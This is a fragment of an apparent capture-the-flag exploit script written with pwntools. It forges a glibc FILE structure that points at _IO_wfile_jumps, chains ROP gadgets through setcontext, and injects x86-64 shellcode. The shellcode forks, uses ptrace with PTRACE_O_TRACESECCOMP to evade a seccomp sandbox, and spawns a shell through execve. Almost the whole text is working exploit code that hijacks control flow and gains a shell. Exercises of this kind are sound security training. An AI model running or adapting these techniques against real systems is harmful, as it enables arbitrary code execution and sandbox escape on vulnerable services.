gadget2=libcbase+0x160e56#0x0000000000160e56 : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]
flagaddr=payloadbase+0x400
f2=IO_FILE_plus_struct()
f2._IO_read_base=gadget2
f2._IO_write_ptr=1
f2._IO_buf_end=payloadbase+0x200
f2._IO_buf_base=payloadbase+8
f2._flags2 = 8
f2._mode = 0
f2._wide_data = payloadbase+0x100
f2.vtable = _IO_wfile_jumps
rop=ROP(libc)
pop_r12 = rop.find_gadget(['pop r12', 'ret']).address + libcbase
pop_rsi = rop.find_gadget(['pop rsi', 'ret']).address + libcbase
pop_rdi = rop.find_gadget(['pop rdi', 'ret']).address + libcbase
pop_rax = rop.find_gadget(['pop rax', 'ret']).address + libcbase
pop_r12_r13 = rop.find_gadget(['pop r12', 'pop r13', 'ret']).address + libcbase
pop_rax_rdx_rbx = rop.find_gadget(['pop rax', 'pop rdx', 'pop rbx', 'ret']).address + libcbase
syscall = rop.find_gadget(['syscall', 'ret']).address + libcbase
setcontextaddr = libc.symbols['setcontext'] + 61 + libcbase
rsp=payloadbase+0x300
payload=p64(0)*4
payload+=p64(libcbase+libc.symbols['setcontext']+61)+p64(0)
payload+=p64(0)*7
payload+=p64(heapbase)#rdi
payload+=p64(0x8000)#rsi
payload+=p64(0)*2
payload+=p64(7)
payload+=p64(0)+p64(0x18)
payload+=p64(rsp+8)
payload+=p64(pop_rax)
NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17
order2 = b'h\x00'[::-1].hex()
order1 = b'/bin/bas'[::-1].hex()
shellcode = asm(f"""
_start:
/* Step 1: fork a new process */
mov rax, 57 /* syscall number for fork (on x86_64) */
syscall /* invoke fork() */
test rax, rax /* check if return value is 0 (child) or positive (parent) */
js _exit /* if fork failed, exit */
/* Step 2: If parent process, attach to child process */
cmp rax, 0 /* are we the child process? */
je child_process /* if yes, jump to child_process */
parent_process:
/* Store child PID */
mov r8,rax
mov rsi, r8 /* rdi = child PID */
/* Attach to child process */
mov rax, 101 /* syscall number for ptrace */
mov rdi, 0x10 /* PTRACE_ATTACH */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
syscall /* invoke ptrace(PTRACE_ATTACH, child_pid, 0, 0) */
monitor_child:
/* Wait for the child to stop */
mov rdi, r8 /* rdi = child PID */
mov rsi, rsp /* no status*/
xor rdx, rdx /* no options */
xor r10, r10 /* no rusage */
mov rax, 61 /* syscall number for wait4 */
syscall /* invoke wait4() */
/* Set ptrace options */
mov rax, 110
syscall
mov rdi, 0x4200 /* PTRACE_SETOPTIONS */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
mov r10, 0x00000080 /* PTRACE_O_TRACESECCOMP */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_SETOPTIONS, child_pid, 0, 0) */
/* Allow the child process to continue */
mov rax, 110
syscall
mov rdi, 0x7 /* PTRACE_CONT */
mov rsi, r8 /* rsi = child PID */
xor rdx, rdx /* no options */
xor r10, r10 /* no data */
mov rax, 101 /* syscall number for ptrace */
syscall /* invoke ptrace(PTRACE_CONT, child_pid, 0, 0) */
/* Loop to keep monitoring the child */
jmp monitor_child
child_process:
/* Child process code here */
/* For example, we could execute a shell or perform other actions */
/* To keep it simple, let's just execute `/bin/sh` */
/* sleep(5) */
/* push 0 */
push 1
dec byte ptr [rsp]
/* push 5 */
push 5
/* nanosleep(requested_time='rsp', remaining=0) */
mov rdi, rsp
xor esi, esi /* 0 */
/* call nanosleep() */
push SYS_nanosleep /* 0x23 */
pop rax
syscall
mov rax, 0x{order2} /* "/bin/sh" */
push rax
mov rax, 0x{order1} /* "/bin/sh" */
push rax
mov rdi, rsp
mov rsi, 0
xor rdx, rdx
mov rax, 59 /* syscall number for execve */
syscall
jmp child_process
_exit:
/* Exit the process */
mov rax, 60 /* syscall number for exit */
xor rdi, rdi /* status 0 */
syscall
""")
data = flat({
0:bytes(f2)[16:],#伪造第一个_IO_file结构体,但是pre_size和size已经占用了16字节
0xf0:[0,0,0,0,0,0,0,0,0,0,0],
0x158:gadget1,
0x1d0:payloadbase+0x100,
0x1f0:payload,
0x300:{
0:pop_rax,
0x8:10,
0x10:syscall,
0x18:0x1e30+heapbase,
0x20:shellcode
},
})
edit(4,data)
print(hex(gadget2))
# p.debug()
choose(5)
p.ia()